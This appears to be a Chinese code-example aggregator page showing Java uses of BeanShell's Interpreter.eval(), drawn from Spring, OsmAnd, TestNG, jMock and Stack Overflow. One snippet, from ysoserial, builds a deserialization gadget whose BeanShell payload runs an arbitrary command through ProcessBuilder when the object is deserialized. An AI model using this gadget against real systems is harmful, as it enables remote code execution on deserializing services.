bsh.Interpreter.eval()方法的使用及代码示例

x33g5p2x  于2022-01-21 转载在 其他  
字(9.9k)|赞(0)|评价(0)|浏览(666)

本文整理了Java中bsh.Interpreter.eval()方法的一些代码示例,展示了Interpreter.eval()的具体用法。这些代码示例主要来源于Github/Stackoverflow/Maven等平台,是从一些精选项目中提取出来的代码,具有较强的参考意义,能在一定程度帮忙到你。Interpreter.eval()方法的具体详情如下:
包路径:bsh.Interpreter
类名称:Interpreter
方法名:eval

Interpreter.eval介绍

[英]Evaluate the inputstream in this interpreter's global namespace.
[中]在此解释器的全局命名空间中计算inputstream。

代码示例

代码示例来源:origin: spring-projects/spring-framework

Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);
if (result != null) {
  return result;
        "At least one script interface is required.\nScript: " + scriptSource);
  XThis xt = (XThis) interpreter.eval("return this");
  return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));

代码示例来源:origin: osmandapp/Osmand

@Override
public String getUrlToLoad(int x, int y, int zoom) {
  try {
    return (String) bshInterpreter.eval("getTileUrl("+zoom+","+x+","+y+");");
  } catch (bsh.EvalError e) {
    log.error(e.getMessage(), e);
    return null;
  }
}

代码示例来源:origin: spring-projects/spring-framework

/**
 * Evaluate the specified BeanShell script based on the given script source,
 * returning the Class defined by the script.
 * <p>The script may either declare a full class or return an actual instance of
 * the scripted object (in which case the Class of the object will be returned).
 * In any other case, the returned Class will be {@code null}.
 * @param scriptSource the script source text
 * @param classLoader the ClassLoader to use for evaluating the script
 * @return the scripted Java class, or {@code null} if none could be determined
 * @throws EvalError in case of BeanShell parsing failure
 */
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
  Assert.hasText(scriptSource, "Script source must not be empty");
  Interpreter interpreter = new Interpreter();
  if (classLoader != null) {
    interpreter.setClassLoader(classLoader);
  }
  Object result = interpreter.eval(scriptSource);
  if (result instanceof Class) {
    return (Class<?>) result;
  }
  else if (result != null) {
    return result.getClass();
  }
  else {
    return null;
  }
}

代码示例来源:origin: spring-projects/spring-framework

@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
  try {
    Interpreter interpreter = new Interpreter();
    interpreter.setClassLoader(this.classLoader);
    if (arguments != null) {
      for (Map.Entry<String, Object> entry : arguments.entrySet()) {
        interpreter.set(entry.getKey(), entry.getValue());
      }
    }
    return interpreter.eval(new StringReader(script.getScriptAsString()));
  }
  catch (IOException ex) {
    throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
  }
  catch (EvalError ex) {
    throw new ScriptCompilationException(script, ex);
  }
}

代码示例来源:origin: org.springframework/spring-context

Interpreter interpreter = new Interpreter();
interpreter.setClassLoader(classLoader);
Object result = interpreter.eval(scriptSource);
if (result != null) {
  return result;
        "At least one script interface is required.\nScript: " + scriptSource);
  XThis xt = (XThis) interpreter.eval("return this");
  return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));

代码示例来源:origin: org.springframework/spring-context

/**
 * Evaluate the specified BeanShell script based on the given script source,
 * returning the Class defined by the script.
 * <p>The script may either declare a full class or return an actual instance of
 * the scripted object (in which case the Class of the object will be returned).
 * In any other case, the returned Class will be {@code null}.
 * @param scriptSource the script source text
 * @param classLoader the ClassLoader to use for evaluating the script
 * @return the scripted Java class, or {@code null} if none could be determined
 * @throws EvalError in case of BeanShell parsing failure
 */
@Nullable
static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError {
  Assert.hasText(scriptSource, "Script source must not be empty");
  Interpreter interpreter = new Interpreter();
  if (classLoader != null) {
    interpreter.setClassLoader(classLoader);
  }
  Object result = interpreter.eval(scriptSource);
  if (result instanceof Class) {
    return (Class<?>) result;
  }
  else if (result != null) {
    return result.getClass();
  }
  else {
    return null;
  }
}

代码示例来源:origin: stackoverflow.com

Interpreter interpreter = new Interpreter();
interpreter.eval("result = 5+4*(7-15)");
System.out.println(interpreter.get("result"));

代码示例来源:origin: org.springframework/spring-context

@Override
@Nullable
public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) {
  try {
    Interpreter interpreter = new Interpreter();
    interpreter.setClassLoader(this.classLoader);
    if (arguments != null) {
      for (Map.Entry<String, Object> entry : arguments.entrySet()) {
        interpreter.set(entry.getKey(), entry.getValue());
      }
    }
    return interpreter.eval(new StringReader(script.getScriptAsString()));
  }
  catch (IOException ex) {
    throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex);
  }
  catch (EvalError ex) {
    throw new ScriptCompilationException(script, ex);
  }
}

代码示例来源:origin: frohoff/ysoserial

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
  String payload =
    "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
      Strings.join( // does not support spaces in quotes
        Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
        ",", "\"", "\"") +
      "}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}

代码示例来源:origin: osmandapp/Osmand

public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext,
    int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) {
  super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize);
  bshInterpreter = new Interpreter();
  try {
    bshInterpreter.eval(urlToLoad);
    bshInterpreter.getClassManager().setClassLoader(new ClassLoader() {
      @Override
      public URL getResource(String resName) {
        return null;
      }
      
      @Override
      public InputStream getResourceAsStream(String resName) {
        return null;
      }
      
      @Override
      public Class<?> loadClass(String className) throws ClassNotFoundException {
        throw new ClassNotFoundException("Error requesting " + className);
      }
    });
  } catch (bsh.EvalError e) {
    log.error("Error executing the map init script " + urlToLoad, e);
  }
}

代码示例来源:origin: org.testng/testng

@Override
public boolean includeMethodFromExpression(String expression, ITestNGMethod tm) {
 boolean result = false;
 Interpreter interpreter = getInterpreter();
 try {
  Map<String, String> groups = Maps.newHashMap();
  for (String group : tm.getGroups()) {
   groups.put(group, group);
  }
  setContext(interpreter, tm.getConstructorOrMethod().getMethod(), groups, tm);
  Object evalResult = interpreter.eval(expression);
  if (evalResult == null) {
   String msg = String.format("The beanshell expression [%s] evaluated to null.", expression);
   throw new TestNGException(msg);
  }
  result = (Boolean) evalResult;
 }
 catch (EvalError evalError) {
  Utils.log("bsh.Interpreter", 2, "Cannot evaluate expression:"
    + expression + ":" + evalError.getMessage());
 }
 finally {
  resetContext(interpreter);
 }
 return result;
}

代码示例来源:origin: beanshell/beanshell

/**
  Evaluate the inputstream in this interpreter's global namespace.
*/
public Object eval( Reader in ) throws EvalError
{
  return eval( in, globalNameSpace, null == sourceFileInfo ? "eval stream" : sourceFileInfo );
}

代码示例来源:origin: jitlogic/zorka

/**
  Evaluate the inputstream in this interpreter's global namespace.
*/
public Object eval( Reader in ) throws EvalError 
{
  return eval( in, globalNameSpace, "eval stream" );
}

代码示例来源:origin: org.apache.taverna.commonactivities/taverna-beanshell-activity

private void clearInterpreter() {
  try {
    interpreter.eval(CLEAR_COMMAND);
  } catch (EvalError e) {
    logger.error("Could not clear the interpreter", e);
  }
}

代码示例来源:origin: beanshell/beanshell

/**
  Evaluate the string in this interpreter's global namespace.
*/
public Object eval( String statements ) throws EvalError {
  Interpreter.debug("eval(String): ", statements);
  return eval(statements, globalNameSpace);
}

代码示例来源:origin: beanshell/beanshell

/**
  Evaluate the string in the specified namespace.
*/
public Object eval( String statements, NameSpace nameSpace )
  throws EvalError
{
  String s = ( statements.endsWith(";") ? statements : statements+";" );
  return eval(
    new StringReader(s), nameSpace,
    "inline evaluation of: ``"+ showEvalString(s)+"''" );
}

代码示例来源:origin: jitlogic/zorka

/**
  Evaluate the string in this interpreter's global namespace.
*/
public Object eval( String statements ) throws EvalError {
  if ( Interpreter.DEBUG ) debug("eval(String): "+statements);
  return eval(statements, globalNameSpace);
}

代码示例来源:origin: stackoverflow.com

final Interpreter i = new Interpreter();
 try {
   Object res = i.eval("(24 + 3) < 4");
   System.out.println("Result is " + res);
 } catch (EvalError ex) {
   System.err.println("Error while evaluating expression: " + ex.getMessage());
 }

代码示例来源:origin: org.jmock/jmock-script

public Object invoke(Invocation invocation) throws Throwable {
  try {
    defineParameters(interpreter, invocation);
    return interpreter.eval(script);
  }
  catch (TargetError e) {
    throw e.getTarget();
  }
  catch (EvalError e) {
    throw new IllegalArgumentException("could not interpret script", e);
  }
}

代码示例来源:origin: stackoverflow.com

import bsh.Interpreter;
private void runString(String code){    
  Interpreter interpreter = new Interpreter();
  try {
     interpreter.set("context", this);//set any variable, you can refer to it directly from string
     interpreter.eval(code);//execute code
  }
  catch (Exception e){//handle exception
    e.printStackTrace();
  }
}

相关文章